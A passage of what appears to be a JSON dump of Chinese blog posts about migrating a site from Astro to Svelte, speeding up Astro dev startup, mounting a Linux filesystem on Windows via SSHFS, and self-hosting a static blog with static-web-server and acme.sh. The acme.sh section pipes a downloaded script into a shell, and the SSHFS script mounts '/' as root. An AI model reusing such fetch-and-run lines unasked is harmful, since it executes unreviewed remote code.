来实现这种重客户端交互的页面\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/astro-to-svelte/img/index-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e但是做着做着便发现不对劲了。由于 Fuwari 使用 Swup 来操作页切，而经过我们长达2年的魔改，Astro 引以为傲的 island 我们根本没用，大部分页面都是采用的传统的监听器，页面上哪些是全局JS？哪些是只需要加载一次的JS？哪些又是持久化的JS？\u003c/p\u003e\n\u003cp\u003e我不知道，所以这导致在后续开发十分痛苦。经常会出现新做了一个页面，第一次进去正常，然后被Swup接管后，来回切几次，页面布局就崩了，某些关键DOM被抽走了\u003c/p\u003e\n\u003cp\u003e这并不是一个新问题，而是一个遗留问题，由于在2024年我刚使用该项目的时候并不具备这些基础，慢慢的，聚沙成塔，聚史成山。如果现在想要将这些诡异的写法通通移除，无异于重写Fuwari的渲染器，需要分析并重构200+文件，近w行代码\u003c/p\u003e\n\u003cp\u003e我改不动，于是在忍无可忍的时候，我采用了头痛砍头，脚痛砍脚的方式。\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e既然没法重构，那直接不用Swup了，全部删了，这总很简单吧？\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e的确，就像脱衣服简单穿衣服难，删除Swup非常简单，如果你不追求工业级剔除，只需要在Astro中禁用Swup，并全局拦截Swup的load即可\u003c/p\u003e\n\u003cp\u003e但是\u0026hellip;代价是什么呢？代价就是一旦没有了Swup，网站将不再是SPA，所有的页面切换都需要 \u003cstrong\u003e完整重新拉取\u003c/strong\u003e 一份新的HTML替换当前页面。\u003cem\u003e就像大学编程课写的那些 1.html 2.html 然后使用 a 标签跳转那样\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e这会导致两个问题，第一个问题是显而易见的，用户会发现，在页面切换的时候好像变得古典了，点完超链接跳转后会有一瞬间白屏，然后内容才会慢慢加载出来，而且我单页上的JS本来就很多，这会导致你无论前往何页面，都会看到页面上 \u003cstrong\u003e砰砰砰\u003c/strong\u003e 逐步加载出：文章，课程表，直播状态，访问量\u003c/p\u003e\n\u003cp\u003e它十分割裂，且用户体验极差。同时，它也会导致第二个问题，那就是资源浪费。假设用户只想点开一篇文章阅读，无SPA的页面会将新HTML完全替换旧的HTML。这不仅会导致页面重新加载拖慢了浏览器的性能，由于我们接入了访问量回显以及各式各样的客户端探针。这些东西本身只需要在一个用户会话中加载一遍，但由于无SPA，会导致重复加载这些内容，这无疑隐性提高了后端服务器的负载\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e想一下你进入首页，加载首页8篇文章的访问量，加载一个课程表组件，再查询一下二叉树树当前是否开播，好，加载完了。接下来，点进一篇文章，那么就又要加载一下这个文章的访问量，同时，加载一个课程表组件，再查询一下二叉树树当前是否开播，好，加载完了。最后，你看完文章了，想回到首页看其他文章，你点击了首页按钮，跳转到首页，此时页面又会重新加载首页8篇文章的访问量，加载一个课程表组件，再查询一下二叉树树当前是否开播，好，加载完了。\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e是不是光看着就要力竭了？实际上浏览器和后端服务器比你更力竭。这些内容原本应该遵循 \u003cstrong\u003e按需加载\u003c/strong\u003e 。如课程表组件加载完成后就持久化，当你点进某篇文章浏览量应该是立即显示的，因为上一个页面是文章列表，肯定已经得到浏览量了，无需再次获取\u0026hellip;\u003c/p\u003e\n\u003cp\u003e诸如此类的问题导致后续的开发虽然很爽，但是用户体验很烂，调研问卷有大多数反馈国内网络加载慢的问题。这就是因为没有SPA，所有页面都需要完整拉取HTML，由于我们的服务器在Cloudflare，尽管已经优选，但可能还是较慢。如果是SPA，只需拉取新的内容，并且也不会触发浏览器的重加载。不管是在实际资源加载还是用户体感都是更快的\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/astro-to-svelte/img/Pasted%20image%2020260424182832.png\"\u003e\u003c/p\u003e\n\u003cp\u003e然后，便是Astro臭名昭著的内建图片压缩，我曾经在 \u003ca href=\"https://2x.nz/posts/disable-astro-generating-optimized-images/\"\u003e禁用Astro跟弱智一般的静态构建图像优化 - 《二叉树树》官方网站\u003c/a\u003e 写过如何禁用它，因为它不仅将所有压缩压力都传递给了CICD，而且它的结果也不尽人意，有时候，甚至会反向压缩\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/astro-to-svelte/img/index-5.png\"\u003e\u003c/p\u003e\n\u003cp\u003e如何禁用它呢？可以，但很诡异，要不你将图片放到 \u003ccode\u003e/public\u003c/code\u003e 目录，Astro就不会管他了，但是编辑器就不认图了。要不你就写一个补丁，在源码层面将Astro图片压缩的代码剔除（旧站就是这么做的）。总之，Astro就是强制爱，就是不管怎样都想看看你的图片，顺便用Shrap一压，\u003cem\u003e欸！一不小心压少了，压多了2kb\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e再接着，经过这几个月的超级周边功能开发，我们实现了一堆奇奇怪怪的功能\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/astro-to-svelte/img/index-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e而这些功能无一例外都是 \u003cstrong\u003eSvelte\u003c/strong\u003e 。这更代表了整个项目已经被 Svelte 架空了，那么，不如贯彻到底，直接把Astro丢了吧？\u003c/p\u003e","title":"网站全面升级为纯Svelte！好处都有啥？都踩了哪些坑？"},{"content":"引言 众所周知，目前我们用的是基于一个本来非常优雅的静态博客生成器 Astro 和一个本来非常优雅的博客主题 Fuwari 来制作的该网站\n在这长达2年的魔改中，我们加入了一些神秘的功能和页面，比如： 访问量统计，论坛等等\n这无疑会导致项目变重，最近我们每一次冷启动开发服务器的时间都长达 几分钟 。这显然是不正常的，因为 Astro 本着 0JS，按需加载，按需水合。就算我们有几百万个页面，dev也不应该需要这么长的时间来启动。所以，是时候来看看astro dev都干了些什么了\n正式开始 我们观察到运行 pnpm dev （与 astro dev 等价）时，Vite在准备就绪后，日志会卡在这里很久\n16:40:06 [astro-icon] Loaded icons from public/icons, fa6-brands, fa6-regular, fa6-solid, material-symbols, material-symbols-light, mingcute, simple-icons 不难看出，这是Astro在收集并加载站点中的所有图标，并且在很长一段时间后，站点第一屏出现，时长为\u0026hellip;\n16:40:53 [200] / 37527ms 这显然不合理，就算图标再多，他也只是一个不超过10MB大小，不超过几百个的小文件而已。astro dev在默认情况下显然隐瞒了一些东西\n那么我们就需要使用 --verbose 标志，来事无巨细的获取开发服务器究竟被什么东西卡了这么久\n显然，我们会发现 Astro 在 Vite 准备就绪后就开始加载schema了，最典型的就是图片，由于图片在 /src/content/assets 下，Astro会将其当作内容集合去处理，而我们的项目总共有 1000+ 图片，这会导致所有图片都会走一遍Astro的处理，哪怕我们在 astro.config.mjs 声明了 no-op 透传\nexport default defineConfig({ image: { service: passthroughImageService(), }, 而我们最终上线的时候，图片会被替换为CDN源，尽管这个问题并不影响云端构建（因为 src/content/assets 目录下在构建前就会被清空）。但是它大大拖慢了本地启动开发服务器时的速度\n实际上，我们只需要让 Vite 将图片映射正确即可，我们既不使用 Astro 图片压缩，也不使用响应式图片\n那么，如何让 Astro 不再碰我们的图片呢？\n我们可以将图片从 src/content/assets 目录移动到 public/assets ，由于Public文件夹内的所有内容会被原封不动复制到 dist ，Astro自然也不会对其操作，我们只需要确保图片路径映射正确即可\n的确，这样修改后 Astro 不会再操作图片，但是对于之后的写作，我们也需要将图片放在 public 文件夹\n但 Obsidian 的默认行为就是哪怕是粘贴绝对路径，如 /public 也不会自动添加前面的斜杠，所以我们需要找AI写一个小插件自动加上，否则会因为路径拼接错误导致图片404： https://github.com/afoim/fuwari/tree/main/.obsidian/plugins/fix-public-links/main.js\n之后，Astro 将不会碰我们的图片，我们也能一如往常地去写作\n至此，图片优化算是做完了，但是好像有哪里还是不对\n还记得一开始的 astro-icon 加载日志吗\n16:40:06 [astro-icon] Loaded icons from public/icons, fa6-brands, fa6-regular, fa6-solid, material-symbols, material-symbols-light, mingcute, simple-icons 仔细想一下，图标为什么需要我们自己托管呢，无论是NPM还是各种图标站，使用CDN引入都是一个不错的做法\n于是，接下来我们将整个图标库连根拔起，并使用 https://api.iconify.design/ CDN来引入图标\n至此，dev的优化算是告一段落了，但在我们优化开发服务器的性能时，顺便修了一个小问题\n之前，对于桌面端的用户，我们会使用流星背景。但实际测试发现由于流星是随机出现且同屏高达 50个，这会导致高达 3000次/秒 的布局重绘， 所以我们顺便将整个流星背景移除，仅保留一个有质感的静态渐变\n最终，开发服务器的启动快如闪电！仅需7秒\n而之前\u0026hellip;这也太慢了\u0026hellip; 近乎1分钟\n实际上并非这么简单\n","permalink":"https://blog.2x.nz/posts/improve-dev-speed/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e众所周知，目前我们用的是基于一个本来非常优雅的静态博客生成器 \u003ca href=\"https://docs.astro.build/zh-cn/getting-started/\"\u003eAstro\u003c/a\u003e 和一个本来非常优雅的博客主题 \u003ca href=\"https://github.com/saicaca/fuwari\"\u003eFuwari\u003c/a\u003e 来制作的该网站\u003c/p\u003e\n\u003cp\u003e在这长达2年的魔改中，我们加入了一些神秘的功能和页面，比如： 访问量统计，论坛等等\u003c/p\u003e\n\u003cp\u003e这无疑会导致项目变重，最近我们每一次冷启动开发服务器的时间都长达 \u003cstrong\u003e几分钟\u003c/strong\u003e 。这显然是不正常的，因为 Astro 本着 0JS，按需加载，按需水合。就算我们有几百万个页面，dev也不应该需要这么长的时间来启动。所以，是时候来看看astro dev都干了些什么了\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e我们观察到运行 \u003ccode\u003epnpm dev\u003c/code\u003e （与 \u003ccode\u003eastro dev\u003c/code\u003e 等价）时，Vite在准备就绪后，日志会卡在这里很久\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e06\u003c/span\u003e [astro\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eicon] Loaded icons \u003cspan style=\"color:#66d9ef\"\u003efrom\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003epublic\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eicons, fa6\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ebrands, fa6\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eregular, fa6\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003esolid, material\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003esymbols, material\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003esymbols\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003elight, mingcute, \u003cspan style=\"color:#66d9ef\"\u003esimple\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eicons\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e不难看出，这是Astro在收集并加载站点中的所有图标，并且在很长一段时间后，站点第一屏出现，时长为\u0026hellip;\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e53\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e37527\u003c/span\u003ems\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这显然不合理，就算图标再多，他也只是一个不超过10MB大小，不超过几百个的小文件而已。astro dev在默认情况下显然隐瞒了一些东西\u003c/p\u003e\n\u003cp\u003e那么我们就需要使用 \u003ccode\u003e--verbose\u003c/code\u003e 标志，来事无巨细的获取开发服务器究竟被什么东西卡了这么久\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"423\" loading=\"lazy\" src=\"/posts/improve-dev-speed/img/improve-dev-speed-6.png\"\u003e\u003c/p\u003e\n\u003cp\u003e显然，我们会发现 Astro 在 Vite 准备就绪后就开始加载schema了，最典型的就是图片，由于图片在 \u003ccode\u003e/src/content/assets\u003c/code\u003e 下，Astro会将其当作内容集合去处理，而我们的项目总共有 \u003cstrong\u003e1000+\u003c/strong\u003e 图片，这会导致所有图片都会走一遍Astro的处理，哪怕我们在 \u003ccode\u003eastro.config.mjs\u003c/code\u003e 声明了 \u003ca href=\"https://docs.astro.build/zh-cn/guides/images/#%E9%85%8D%E7%BD%AE-no-op-%E9%80%8F%E4%BC%A0%E6%9C%8D%E5%8A%A1\"\u003eno-op 透传\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003edefault\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003edefineConfig\u003c/span\u003e({\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eimage\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eservice\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003epassthroughImageService\u003c/span\u003e(),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    },\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e而我们最终上线的时候，图片会被替换为CDN源，尽管这个问题并不影响云端构建（因为 \u003ccode\u003esrc/content/assets\u003c/code\u003e 目录下在构建前就会被清空）。但是它大大拖慢了本地启动开发服务器时的速度\u003c/p\u003e\n\u003cp\u003e实际上，我们只需要让 Vite 将图片映射正确即可，我们既不使用 Astro 图片压缩，也不使用响应式图片\u003c/p\u003e\n\u003cp\u003e那么，如何让 Astro 不再碰我们的图片呢？\u003c/p\u003e\n\u003cp\u003e我们可以将图片从 \u003ccode\u003esrc/content/assets\u003c/code\u003e 目录移动到 \u003ccode\u003epublic/assets\u003c/code\u003e ，由于Public文件夹内的所有内容会被原封不动复制到 \u003ccode\u003edist\u003c/code\u003e ，Astro自然也不会对其操作，我们只需要确保图片路径映射正确即可\u003c/p\u003e","title":"俗话都说项目写久了会变成史山...今天我们来铲史..."},{"content":"引言 你是否有一个Linux服务器？你是否曾经使用过各大IDE的远程开发？你是否被巨大的 vscode-server trae-server \u0026hellip; 占用巨额储存空间？\n实际上，当我们进行远程开发的时候，我们只需要 在Windows上操作Linux的文件 即可\n那我们为什么不尝试 将Linux上的目录挂到Windows上 呢？\n正式开始 首先我们需要安装SSHFS，你可以前往Github下载发行版： libfuse/sshfs: A network filesystem client to connect to SSH servers，又或者通过Scoop安装： scoop install nonportable/sshfs-np\n接着编写一个批处理脚本，方便我们每次的挂载\nSET PATH=C:\\Program Files\\SSHFS-Win\\bin \u0026#34;C:\\Program Files\\SSHFS-Win\\bin\\sshfs.exe\u0026#34; -f root@192.168.124.14:/ X: -o workaround=rename -o idmap=user 第一行命令的作用详见： https://github.com/winfsp/sshfs-win/issues/401#issuecomment-1968129241\nC:\\Program Files\\SSHFS-Win\\bin 你的SSHFS二进制文件所在的目录 -f 前台挂载，关闭CMD窗口后则失效 root@192.168.124.14:/ 你要连接的SSH主机（192.168.124.14），登录用户（root），挂载目录（/） X: 要挂载到的Windows盘符 workaround=rename 自动修复Unix文件名 idmap=user 以SSH登录的用户权限来访问挂载目录，这里为root，避免访问权限问题 最后，我们就可以在Windows文件资源管理器中看到被挂载的Linux盘符了\n同时，我们也可以使用任何软件来直接打开Linux上的文件来远程开发\n需要注意的是，和其他IDE直接通过SSH连接服务器进行远程开发不同。SSHFS仅是通过SFTP协议将Linux上的 文件系统 映射到Windows上来。并不包含整个Linux环境\n所以，SSHFS上的终端解释器为你的 Windows终端解释器 ，而其他IDE的远程开发的终端解释器为 目标Linux上的终端解释器。\n如果需要调用Linux上的原生命令，则需要另开SSH\n","permalink":"https://blog.2x.nz/posts/sshfs/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e你是否有一个Linux服务器？你是否曾经使用过各大IDE的远程开发？你是否被巨大的 \u003ccode\u003evscode-server\u003c/code\u003e \u003ccode\u003etrae-server\u003c/code\u003e \u0026hellip; 占用巨额储存空间？\u003c/p\u003e\n\u003cp\u003e实际上，当我们进行远程开发的时候，我们只需要 \u003cstrong\u003e在Windows上操作Linux的文件\u003c/strong\u003e 即可\u003c/p\u003e\n\u003cp\u003e那我们为什么不尝试 \u003cstrong\u003e将Linux上的目录挂到Windows上\u003c/strong\u003e 呢？\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先我们需要安装SSHFS，你可以前往Github下载发行版： \u003ca href=\"https://github.com/libfuse/sshfs\"\u003elibfuse/sshfs: A network filesystem client to connect to SSH servers\u003c/a\u003e，又或者通过Scoop安装： \u003ccode\u003escoop install nonportable/sshfs-np\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e接着编写一个批处理脚本，方便我们每次的挂载\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eSET\u003c/span\u003e PATH\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eC\u003c/span\u003e:\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\\\u003c/span\u003eProgram Files\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\\\u003c/span\u003eSSHFS\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eWin\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\\\u003c/span\u003ebin\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;C:\\Program Files\\SSHFS-Win\\bin\\sshfs.exe\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ef root\u003cspan style=\"color:#f92672\"\u003e@\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e192\u003c/span\u003e.\u003cspan style=\"color:#ae81ff\"\u003e168\u003c/span\u003e.\u003cspan style=\"color:#ae81ff\"\u003e124\u003c/span\u003e.\u003cspan style=\"color:#ae81ff\"\u003e14\u003c/span\u003e:\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e X: \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eo workaround\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003erename\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eo idmap\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003euser\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e第一行命令的作用详见： \u003ca href=\"https://github.com/winfsp/sshfs-win/issues/401#issuecomment-1968129241\"\u003ehttps://github.com/winfsp/sshfs-win/issues/401#issuecomment-1968129241\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eC:\\Program Files\\SSHFS-Win\\bin\u003c/code\u003e 你的SSHFS二进制文件所在的目录\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-f\u003c/code\u003e 前台挂载，关闭CMD窗口后则失效\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eroot@192.168.124.14:/\u003c/code\u003e 你要连接的SSH主机（192.168.124.14），登录用户（root），挂载目录（/）\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eX:\u003c/code\u003e 要挂载到的Windows盘符\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eworkaround=rename\u003c/code\u003e 自动修复Unix文件名\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eidmap=user\u003c/code\u003e 以SSH登录的用户权限来访问挂载目录，这里为root，避免访问权限问题\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e最后，我们就可以在Windows文件资源管理器中看到被挂载的Linux盘符了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/sshfs/img/sshfs.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/sshfs/img/sshfs-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e同时，我们也可以使用任何软件来直接打开Linux上的文件来远程开发\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/sshfs/img/sshfs-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e需要注意的是，和其他IDE直接通过SSH连接服务器进行远程开发不同。SSHFS仅是通过SFTP协议将Linux上的 \u003cstrong\u003e文件系统\u003c/strong\u003e 映射到Windows上来。并不包含整个Linux环境\u003c/p\u003e\n\u003cp\u003e所以，SSHFS上的终端解释器为你的 \u003cstrong\u003eWindows终端解释器\u003c/strong\u003e ，而其他IDE的远程开发的终端解释器为 \u003cstrong\u003e目标Linux上的终端解释器\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e如果需要调用Linux上的原生命令，则需要另开SSH\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/sshfs/img/sshfs-4.png\"\u003e\u003c/p\u003e","title":"将你的Linux硬盘映射到Windows？"},{"content":"前情提要 因为最近搞了甲骨文，有俩1c1g的甲骨文机子，但是不知道能拿来干嘛\n然后最近偶然发现甲骨文上托管HTML很绿\n于是就想着是否能在我的俩甲骨文上托管我的静态博客？\n思路 首先，我们需要一个Web服务器，用来提供HTML内容，因为我是静态博客。所有我们不需要高级功能，故选择最快的 static-web-server/static-web-server: A cross-platform, high-performance and asynchronous web server for static files-serving. ⚡\n其次，我们还需要为它配置SSL，这里使用最简单的 https://acme.sh\n最后，我们需要让他实时更新。嘛，最简单的就是写个定时任务，按照固定频次强制拉取远程仓库的最新更改\n所以流程图最终大致如下\nflowchart TD 用户 --\u003e 2x.nz --\u003e |DNS解析|cdn[oraclecdn.2x.nz] --\u003e 1[Oracle1] cdn --\u003e 2[Oracle2] 1 --\u003e s1[SWS1] 2 --\u003e s2[SWS2] Acme1 --\u003e |签发SSL|1 Acme2 --\u003e |签发SSL|2 cron[定时任务] --\u003e |拉取更新内容|1 cron --\u003e |拉取更新内容|2 s1 --\u003e r[静态博客] s2 --\u003e r 正式开始！ 首先，使用 MobaXterm free Xserver and tabbed SSH client for Windows 连上两台机子并且启用 Multi Shell！\n这样我们就可以输入一次命令，让多台机子同时执行！\n接着，我们首先下载 static-web-server/static-web-server: A cross-platform, high-performance and asynchronous web server for static files-serving. ⚡\nwget https://github.com/static-web-server/static-web-server/releases/download/v2.42.0/static-web-server-v2.42.0-x86_64-unknown-linux-gnu.tar.gz tar -xzvf static-web-server-v2.42.0-x86_64-unknown-linux-gnu.tar.gz rm static-web-server-v2.42.0-x86_64-unknown-linux-gnu.tar.gz 然后我们创建 sws.toml 。启用HTTP跳转HTTPS，配置SSL（和上面ACME部署的路径一样）\n[general] #### Address \u0026amp; Root dir host = \u0026#34;0.0.0.0\u0026#34; port = 443 root = \u0026#34;/root/fuwari\u0026#34; #### Logging log-level = \u0026#34;error\u0026#34; #### Cache Control headers cache-control-headers = true #### Auto Compression compression = false compression-level = \u0026#34;best\u0026#34; #### Error pages # Note: If a relative path is used then it will be resolved under the root directory. page404 = \u0026#34;./404.html\u0026#34; page50x = \u0026#34;./50x.html\u0026#34; #### HTTP/2 + TLS http2 = true http2-tls-cert = \u0026#34;/root/ssl/2x_nz_cert.pem\u0026#34; http2-tls-key = \u0026#34;/root/ssl/2x_nz_key.pem\u0026#34; https-redirect = true https-redirect-host = \u0026#34;2x.nz\u0026#34; https-redirect-from-port = 80 https-redirect-from-hosts = \u0026#34;2x.nz\u0026#34; #### CORS \u0026amp; Security headers security-headers = true cors-allow-origins = \u0026#34;*\u0026#34; #### Directory listing directory-listing = false #### Directory listing sorting code directory-listing-order = 1 #### Directory listing content format directory-listing-format = \u0026#34;html\u0026#34; #### Directory listing download format directory-listing-download = [] #### Basic Authentication # basic-auth = \u0026#34;\u0026#34; #### File descriptor binding # fd = \u0026#34;\u0026#34; #### Worker threads threads-multiplier = 1 #### Grace period after a graceful shutdown grace-period = 0 #### Page fallback for 404s # page-fallback = \u0026#34;\u0026#34; #### Log request Remote Address if available log-remote-address = false #### Log real IP from X-Forwarded-For header if available log-forwarded-for = false #### IPs to accept the X-Forwarded-For header from. Empty means all trusted-proxies = [] #### Redirect to trailing slash in the requested directory uri redirect-trailing-slash = true #### Check for existing pre-compressed files compression-static = true #### Health-check endpoint (GET or HEAD `/health`) health = false #### Markdown content negotiation accept-markdown = false #### List of index files # index-files = \u0026#34;index.html, index.htm\u0026#34; #### Maintenance Mode maintenance-mode = false # maintenance-mode-status = 503 # maintenance-mode-file = \u0026#34;./maintenance.html\u0026#34; ### Windows Only #### Run the web server as a Windows Service # windows-service = false [advanced] #### HTTP Headers customization (examples only) #### a. Oneline version [[advanced.headers]] source = \u0026#34;*\u0026#34; headers = { Server = \u0026#34;AcoForkCDN\u0026#34; } #### b. Multiline version # [[advanced.headers]] # source = \u0026#34;/index.html\u0026#34; # [advanced.headers.headers] # Cache-Control = \u0026#34;public, max-age=36000\u0026#34; # Content-Security-Policy = \u0026#34;frame-ancestors \u0026#39;self\u0026#39;\u0026#34; # Strict-Transport-Security = \u0026#34;max-age=63072000; includeSubDomains; preload\u0026#34; #### c. Multiline version with explicit key (dotted) # [[advanced.headers]] # source = \u0026#34;**/*.{jpg,jpeg,png,ico,gif}\u0026#34; # headers.Strict-Transport-Security = \u0026#34;max-age=63072000; includeSubDomains; preload\u0026#34; ### URL Redirects (examples only) # [[advanced.redirects]] # source = \u0026#34;**/*.{jpg,jpeg}\u0026#34; # destination = \u0026#34;/images/generic1.png\u0026#34; # kind = 301 # [[advanced.redirects]] # source = \u0026#34;/index.html\u0026#34; # destination = \u0026#34;https://static-web-server.net\u0026#34; # kind = 302 ### URL Rewrites (examples only) # [[advanced.rewrites]] # source = \u0026#34;**/*.{png,ico,gif}\u0026#34; # destination = \u0026#34;/assets/favicon.ico\u0026#34; ## Optional redirection # redirect = 301 # [[advanced.rewrites]] # source = \u0026#34;**/*.{jpg,jpeg}\u0026#34; # destination = \u0026#34;/images/sws.png\u0026#34; ### Virtual Hosting # [[advanced.virtual-hosts]] ## But if the \u0026#34;Host\u0026#34; header matches this... # host = \u0026#34;sales.example.com\u0026#34; ## ...then files will be served from here instead # root = \u0026#34;/var/sales/html\u0026#34; # [[advanced.virtual-hosts]] # host = \u0026#34;blog.example.com\u0026#34; # root = \u0026#34;/var/blog/html\u0026#34; 接下来我们创建一个系统服务\n[Unit] Description=Static Web Server (sws) After=network.target [Service] Type=simple ExecStart=/root/sws/static-web-server-v2.42.0-x86_64-unknown-linux-gnu/static-web-server \\ --config-file /root/sws/static-web-server-v2.42.0-x86_64-unknown-linux-gnu/sws.toml Restart=always RestartSec=5 # 安全 \u0026amp; 稳定性 LimitNOFILE=1048576 PrivateTmp=true NoNewPrivileges=true [Install] WantedBy=multi-user.target 然后重载systemd，并且让服务开机自启\nsystemctl daemon-reexec systemctl daemon-reload systemctl enable sws systemctl start sws 再然后安装 https://acme.sh\napt install cron curl https://get.acme.sh | sh -s email=my@example.com 接着按照文档操作，申请证书 dnsapi · acmesh-official/acme.sh Wiki\n./acme.sh --issue --dns dns_cf -d 2x.nz -d \u0026#39;*.2x.nz\u0026#39; 签发完毕后需要安装证书，指定一个目录。和刚才我们启动的SWS的SSL目录要一致\nacme.sh --install-cert -d 2x.nz \\ --key-file /root/ssl/2x_nz_key.pem \\ --fullchain-file /root/ssl/2x_nz_cert.pem \\ --reloadcmd \u0026#34;service sws force-reload\u0026#34; 